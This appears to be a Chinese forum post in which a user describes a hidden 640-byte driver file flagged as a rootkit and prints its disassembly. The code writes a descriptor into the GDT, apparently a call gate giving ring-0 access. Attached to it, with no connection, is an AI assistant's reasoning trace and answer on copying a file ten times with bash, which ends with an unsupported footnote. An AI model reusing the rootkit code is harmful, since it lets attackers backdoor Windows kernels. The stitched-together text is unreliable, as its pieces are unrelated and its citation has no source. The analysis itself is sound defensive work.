一个奇怪的隐藏文件

前几日在我的机子上,发现了一个了隐藏的SYS文件,AntiVir报毒为RootKit,看了一下才发现原来它很苗条,只是640Bytes,很有秀惑力吧:
.text:00010200                 .686p
.text:00010200                 .mmx
.text:00010200                 .model flat
.text:00010200
.text:00010200 ; 屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
.text:00010200
.text:00010200 ; Segment type: Pure code
.text:00010200 ; Segment permissions: Read/Execute
.text:00010200 _text           segment para public 'CODE' use32
.text:00010200                 assume cs:_text
.text:00010200                 ;org 10200h
.text:00010200                 assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
.text:00010200
.text:00010200 ; 圹圹圹圹圹圹圹?S U B R O U T I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹?
.text:00010200
.text:00010200 ; Attributes: bp-based frame
.text:00010200
.text:00010200                 public start
.text:00010200 start           proc near
.text:00010200
.text:00010200 var_2A          = qword ptr -2Ah
.text:00010200
.text:00010200                 push    ebp
.text:00010201                 mov     ebp, esp
.text:00010203                 nop
.text:00010204                 nop
.text:00010205                 nop
.text:00010206                 nop
.text:00010207                 pushf
.text:00010208                 pusha
.text:00010209                 push    edx
.text:0001020A                 sgdt    [esp+28h+var_2A]
.text:0001020F                 pop     edx
.text:00010210                 mov     eax, edx
.text:00010212                 mov     ecx, 3E0h
.text:00010217                 mov     byte ptr [edx], 0C3h
.text:0001021A                 mov     [ecx+edx], ax
.text:0001021E                 shr     eax, 10h
.text:00010221                 mov     [ecx+edx+6], ax
.text:00010226                 mov     dword ptr [ecx+edx+2], 0EC0003E8h
.text:0001022E                 mov     dword ptr [ecx+edx+8], 0FFFFh
.text:00010236                 mov     dword ptr [ecx+edx+0Ch], 0CF9A00h
.text:0001023E                 popa
.text:0001023F                 popf
.text:00010240                 mov     eax, 0
.text:00010245                 leave
.text:00010246                 retn    8
.text:00010246 start           endp
.text:00010246
.text:00010246 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00010249                 align 20h
.text:00010249 _text           ends
.text:00010249
.text:00010249
.text:00010249                 end start

单从这段代码上来看,好像没有隐藏文件的功能,肯定还有其它的不干净东西,录找中.
 发贴留个纪念

<think>我们被要求将同一个文件复制10次到当前目录,每次复制生成一个不同的文件名(例如在原文件名基础上添加数字后缀)。 我们可以使用循环来实现,比如使用for循环,循环10次,每次复制一次文件,并重命名。 假设原文件名为"file.txt",我们想要复制为"file1.txt", "file2.txt", ..., "file10.txt"。 注意:如果原文件名没有扩展名,或者有多个点,我们可能需要在文件名中插入数字,但通常我们可以在原文件名和扩展名之间插入数字,或者直接在末尾添加数字。 这里我们采用一种简单的方法:在文件名(不包括扩展名)后面添加数字,然后再添加扩展名。但是,如果文件名本身包含多个点,这种方法可能不够健壮。 不过,根据问题,我们只需要复制10次,我们可以使用更简单的方法:在文件名后面直接加上数字,不考虑扩展名(例如:原文件是file.txt,复制为file1.txt,file2.txt等)。 但是,为了更通用,我们可以使用变量来存储原文件名,然后使用字符串操作来分离主文件名和扩展名,然后在主文件名和扩展名之间插入数字。 然而,由于问题中没有指定具体的文件名,我们可以提供两种方法: 方法1:不考虑扩展名,直接在原文件名后面添加数字。 例如:原文件为"file.txt",复制为"file.txt1", "file.txt2", ... 但这样看起来不直观,通常我们希望在扩展名之前加数字。 方法2:将文件名视为由主文件名和扩展名组成,在两者之间加数字。 例如:原文件为"file.txt",则复制为"file1.txt", "file2.txt", ... 方法2更符合习惯,但要注意,如果文件名没有扩展名,我们就在末尾加数字。如果文件名有多个点,我们通常将最后一个点后面的部分视为扩展名。 我们可以使用以下方法分离文件名和扩展名: basename=$(basename "$file") filename="${basename%.*}" extension="${basename##*.}" 但是注意,如果文件名没有扩展名,那么extension就是空,而filename就是整个文件名。 然后,复制的时候,如果有扩展名,新文件名为${filename}${i}.${extension};如果没有扩展名,则为${filename}${i}。 但是,我们也可以使用一个更简单的办法:在复制时,直接使用原文件名加数字再加原扩展名(如果有的话)。 由于问题要求复制10次,我们可以使用循环。 具体步骤: 1. 定义原文件路径(假设为file) 2. 使用循环10次(i从1到10) 3. 在循环内,根据原文件名构造新文件名 4. 使用复制命令(cp)复制原文件到新文件名 注意:如果原文件没有扩展名,那么我们就直接在原文件名后面加数字。 但是,为了避免复杂,我们可以提供一个通用的方法,不管文件名是否有扩展名,都在原文件名后面加一个数字(即不考虑扩展名分离)。但是这样可能会导致文件名看起来很奇怪(比如file.txt变成file.txt1,而不是file1.txt)。所以,我们采用分离扩展名的方法。 下面是一个bash脚本的示例: ```bash original_file="yourfile.txt" # 替换为你的文件名 for i in {1..10}; do # 提取文件名(不含路径) basename=$(basename "$original_file") # 分离主文件名和扩展名 filename="${basename%.*}" extension="${basename##*.}" # 如果原文件没有扩展名,那么extension就等于basename,而filename为空,所以需要调整 if [[ "$filename" == "" ]]; then # 整个basename就是文件名,没有扩展名 new_filename="${basename}${i}" else # 如果有扩展名,则新文件名为 主文件名+数字+.+扩展名 new_filename="${filename}${i}.${extension}" fi # 复制文件 cp "$original_file" "./$new_filename" done ``` 但是,上面的方法在文件名有多个点的时候,会把最后一个点后面的部分作为扩展名,前面的都作为主文件名。例如:file.tar.gz 会被分成主文件名"file.tar"和扩展名"gz",然后新文件名会变成file.tar1.gz, file.tar2.gz等。这可能是期望的,也可能不是。但通常这样处理是可以接受的。 另外,如果原文件名包含空格等特殊字符,我们需要在变量引用时加上双引号(如上所示)。 如果用户想要在数字前加一个分隔符(如下划线),可以修改为:`new_filename="${filename}_${i}.${extension}"` 等。 但是,上面的循环中,原文件变量是固定的,我们假设原文件在当前目录下,或者使用绝对路径。注意basename命令会去掉路径,所以新文件会生成在当前目录下。 另外,如果原文件就在当前目录,我们也可以直接使用文件名(不带路径)作为original_file,那么basename就是原文件名。 如果原文件不在当前目录,那么我们需要确保只复制文件名部分,并且新文件生成在当前目录。 另一种更简单的做法,不考虑分离扩展名,而是直接在原文件名后面添加数字: ```bash original_file="yourfile.txt" for i in {1..10}; do cp "$original_file" "${original_file%.*}$i.${original_file##*.}" done ``` 但是,这个命令在文件名有多个点的时候,会去掉最后一个点之前的所有内容?不对,`${original_file%.*}`表示从后面开始删,删掉最后一个点及其之后的部分,所以得到的是主文件名(不包括最后一个点之后的部分)。而`${original_file##*.}`是删掉前面直到最后一个点(包括)的部分,所以得到的是扩展名。 所以,这个命令和上面分离扩展名的方法是一样的。 但是,如果文件名没有扩展名,那么`${original_file%.*}`会得到整个文件名(因为删不掉任何东西),而`${original_file##*.}`也会得到整个文件名(因为找不到点,所以不删除)。那么新文件名就会变成:原文件名+数字+点+原文件名,例如:file1.file,这显然不对。 因此,我们需要判断一下,如果扩展名和原文件名相同,说明没有扩展名(或者只有一个点且没有后缀,比如隐藏文件.abc,那么.abc会被作为整个文件名,而扩展名部分也会是abc?不对,我们看: 对于隐藏文件".abc",那么: ${original_file%.*} -> .abc 因为%.*删掉的是从末尾开始匹配的.任意字符,但.abc末尾没有点,所以不删除,返回.abc ${original_file##*.} -> 因为##*.是从前面开始删除最长匹配,直到最后一个点。.abc中,点后面的部分是abc,所以返回abc。 那么新文件名就是:.abc1.abc,这显然不对。 因此,我们需要更健壮的方法。我们可以这样:如果原文件名以点开头,并且没有其他点,那么它可能是一个没有扩展名的隐藏文件。但是,这种情况比较复杂。 为了简化,我们可以选择在原始文件名后面直接添加数字,不管扩展名。例如: ```bash original_file="yourfile.txt" for i in {1..10}; do cp "$original_file" "${original_file}_${i}" done ``` 这样,新文件名为:yourfile.txt_1, yourfile.txt_2, ... 这样虽然扩展名被破坏了,但是简单且通用。 或者,我们可以在原文件名后面添加数字,并保留原扩展名(如果有的话)?但这样需要判断扩展名是否存在。 考虑到简单性,我们可以采用第三种方法:使用序号作为后缀,并保留原文件名。即新文件名为:原文件名-副本1,原文件名-副本2,等等。但是,这样需要处理扩展名。 实际上,我们更推荐第一种方法(分离主文件名和扩展名),并处理没有扩展名的情况。但是,对于隐藏文件(以点开头的文件)需要特殊处理吗?实际上,隐藏文件通常没有扩展名,或者有多个点。 我们可以这样处理:如果文件名包含点,并且不是以点开头(即不是隐藏文件),那么我们可以将最后一个点后面的部分作为扩展名;如果是以点开头的文件,我们就不分离,整个作为主文件名,然后加数字。 但这样规则太复杂。所以,我们采用一个折中:如果文件名中有扩展名(即至少有一个点,并且最后一个点后面有非空字符串),我们就分离,否则就不分离。 我们修改一下: ```bash original_file="yourfile.txt" for i in {1..10}; do # 如果文件名包含点,并且最后一个点后面有内容(即扩展名非空) if [[ "$original_file" =~ \.[^./]+$ ]]; then # 分离主文件名和扩展名 base="${original_file%.*}" ext="${original_file##*.}" new_file="${base}_${i}.${ext}" else new_file="${original_file}_${i}" fi cp "$original_file" "$new_file" done ``` 但是,这个正则表达式`\.[^./]+$`表示:匹配一个点,后面跟着至少一个非点非斜杠的字符,直到字符串末尾。这样可以避免匹配到目录路径中的点(但这里original_file应该是不带路径的,我们之前用basename提取了,所以可以不用考虑路径中的点)。但为了简单,我们假设original_file是纯文件名(没有路径)。如果有路径,我们需要先用basename提取文件名部分,然后再分离。 因此,我们最好还是先提取文件名(不带路径),然后再处理。同时,原文件可能不在当前目录,所以复制时要用原文件的完整路径,或者相对路径。但新文件我们只给文件名,这样就会生成在当前目录。 综合以上,我们给出一个健壮的脚本: ```bash #!/bin/bash original_file="/path/to/yourfile" # 替换成你的文件路径 # 提取纯文件名(不含路径) base_name=$(basename "$original_file") # 循环10次 for i in {1..10}; do # 检查文件名中是否包含点(且不是以点开头,或者我们不管开头,只要最后一个点后面有非点字符)? # 我们使用条件判断:如果文件名有扩展名(即最后一个点后面有内容),则分离 if [[ "$base_name" =~ \.[^./]*$ ]]; then # 提取主文件名(最后一个点之前的部分) filename_part="${base_name%.*}" # 提取扩展名(最后一个点之后的部分) extension="${base_name##*.}" # 如果主文件名是空(例如.bashrc这样的隐藏文件),那么整个文件名就是.bashrc,我们就不分离 if [ -z "$filename_part" ]; then # 这种情况,整个base_name就是文件名,我们直接加数字 new_file="${base_name}_${i}" else new_file="${filename_part}_${i}.${extension}" fi else new_file="${base_name}_${i}" fi # 复制文件到当前目录,使用新文件名 cp "$original_file" "./$new_file" done ``` 但是,上面的正则表达式`\.[^./]*$`可以匹配一个点后面跟着0个或多个非点非斜杠的字符直到末尾。注意,这个匹配可能包括点后面没有字符的情况(即点结尾),这种情况我们不认为有扩展名。所以应该改为至少一个字符:`\.[^./]+$`。 修改: ```bash if [[ "$base_name" =~ \.[^./]+$ ]]; then ``` 另外,注意隐藏文件如".bashrc",它的整个文件名是.bashrc,当我们用`${base_name%.*}`时,得到的是空字符串(因为从末尾删除.*,删掉.bashrc中的.bashrc,剩下空),而`${base_name##*.}`得到的是bashrc。所以,我们判断如果filename_part为空,那么就不分离。 所以,对于.bashrc,我们会进入else分支吗?不会,因为它匹配正则(点后面有非点非斜杠的字符bashrc)。然后filename_part为空,所以我们会执行`new_file="${base_name}_${i}"`,即.bashrc_1,这样就没有扩展名了。但我们希望保留扩展名吗?实际上,.bashrc通常没有扩展名的概念,所以这样处理也可以。 或者,对于隐藏文件,我们也可以考虑不分离,直接整个文件名加数字。所以上面的处理(判断filename_part为空)就是整个文件名加数字。 因此,这个脚本可以处理大多数情况。 但是,如果用户希望更简单的操作,且不介意文件名后面直接加数字(不管扩展名),那么我们可以使用更简单的版本: ```bash original_file="yourfile" for i in {1..10}; do cp "$original_file" "${original_file}_${i}" done ``` 这样,原文件yourfile.txt会变成yourfile.txt_1, yourfile.txt_2等。如果原文件是yourfile,则变成yourfile_1, yourfile_2等。 这种方法简单,且不会出错,但生成的文件名可能不太美观。 根据用户需求,用户可能希望保留扩展名,所以我们将提供两种方法供选择。 方法一:简单添加后缀(不分离扩展名) ```bash for i in {1..10}; do cp "原文件名" "原文件名_$i"; done ``` 方法二:在扩展名前插入数字(保留扩展名) ```bash for i in {1..10}; do filename="原文件名" cp "$filename" "${filename%.*}_${i}.${filename##*.}" done ``` 但方法二在文件名没有扩展名时会出错(变成:原文件名_${i}.文件名),所以我们可以加一个判断: ```bash filename="原文件名" if [[ "$filename" =~ \. ]]; then cp "$filename" "${filename%.*}_${i}.${filename##*.}" else cp "$filename" "${filename}_${i}" fi ``` 因此,我们推荐以下脚本(假设原文件名为file.txt,且在当前目录): ```bash filename="file.txt" for i in {1..10}; do if [[ "$filename" == *.* ]]; then base="${filename%.*}" ext="${filename##*.}" newfile="${base}_${i}.${ext}" else newfile="${filename}_${i}" fi cp "$filename" "$newfile" done ``` 注意:这里判断条件`[[ "$filename" == *.* ]]`表示文件名中包含任意一个点(不管位置)就分离。这比正则简单,但可能不够精确(比如文件名以点开头且只有一个点,也会被匹配到)。但这种情况我们也是要分离的,因为以点开头的文件也可能有扩展名(比如.file.txt,我们希望分离成.file和txt)。但实际上,我们使用`${filename%.*}`和`${filename##*.}`时,对于.file.txt,主文件名部分会是".file",扩展名是"txt",然后新文件名是".file_1.txt",这是合理的。 所以,这个脚本可以处理大多数情况。 因此,我们给出最终推荐: 步骤: 1. 将原文件名赋值给变量(如果文件名包含空格,请用双引号) 2. 循环10次,i从1到10 3. 如果原文件名包含点,则分离主文件名和扩展名,新文件名为“主文件名_i.扩展名” 4. 否则,新文件名为“原文件名_i” 5. 复制 示例代码(原文件名为"file with space.txt"): ```bash filename="file with space.txt" for i in {1..10}; do if [[ "$filename" == *.* ]]; then base="${filename%.*}" ext="${filename##*.}" newfile="${base}_${i}.${ext}" else newfile="${filename}_${i}" fi cp -- "$filename" "$newfile" done ``` 注意:使用`--`可以防止文件名以破折号开头被误认为是选项。 另外,如果文件名中有空格,我们使用双引号,并在cp中使用双引号引用变量。 如果文件名包含其他特殊字符(如*、?等),双引号也可以防止通配符扩展。 因此,这个脚本是健壮的。 如果用户想要一行命令,可以写: ```bash filename="file.txt"; for i in {1..10}; do base="${filename%.*}"; ext="${filename##*.}"; if [[ "$filename" == *.* ]]; then newfile="${base}_${i}.${ext}"; else newfile="${filename}_${i}"; fi; cp "$filename" "$newfile"; done ``` 但是,为了可读性,建议写成多行。 最后,根据用户要求,复制10次到当前目录。 所以,我们按照上述方法即可。</think>### 如何将一个文件复制10次到当前目录 在 Linux 中复制文件多次到当前目录,可以通过循环命令实现。以下是两种推荐方法: #### 方法1:使用 `for` 循环 + `cp` 命令(推荐) ```bash # 假设要复制的文件名为 original.txt for i in {1..10}; do cp "original.txt" "original_copy${i}.txt" done ``` - **作用**:创建10个副本文件,命名为 `original_copy1.txt` 到 `original_copy10.txt` - **说明**: 1. `{1..10}` 生成1到10的数字序列 2. `cp` 执行复制操作 3. 文件名格式可自定义(如 `"backup_${i}.txt"`) #### 方法2:使用 `seq` 命令 + `xargs` ```bash seq 1 10 | xargs -I {} cp original.txt "original_v{}.txt" ``` - **作用**:创建 `original_v1.txt` 到 `original_v10.txt` - **参数说明**: - `seq 1 10`:生成1-10的数字 - `xargs -I {}`:将数字替换到 `{}` 位置 #### 注意事项 1. **文件名处理**: - 若文件名包含空格,需加双引号:`cp "My File.txt" "Copy_{}.txt"` - 保留扩展名:`cp photo.jpg "photo_${i}.jpg"` 2. **特殊字符处理**: ```bash cp -- "special@file.txt" "copy_${i}.txt" # -- 防止特殊字符被解析 ``` 3. **批量创建测试文件**: ```bash # 先创建示例文件 echo "Test content" > sample.txt # 再执行复制 for i in {1..10}; do cp sample.txt "testfile_${i}.txt"; done ``` #### 示例操作流程 ```bash # 创建原始文件 $ echo "Original content" > data.txt # 执行复制 $ for i in {1..10}; do cp data.txt "data_copy${i}.txt"; done # 验证结果 $ ls -l *copy*.txt -rw-r--r-- 1 user group 17 Mar 1 data_copy1.txt -rw-r--r-- 1 user group 17 Mar 1 data_copy2.txt ...(共10个副本)... ``` > **提示**:使用 `find` 命令可批量管理生成的文件,例如删除所有副本: > ```bash > find . -name "*copy*.txt" -mtime +7 -delete # 删除7天前的副本[^1] > ``` ### 相关问题 1. 如何批量重命名复制后的文件? 2. 复制文件时如何保留原始文件的所有权限属性? 3. 如何递归复制整个目录结构并创建多个副本? 4. 在复制过程中如何显示进度条? [^1]: 使用 `find` 命令配合 `-delete` 选项可删除符合条件的文件
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值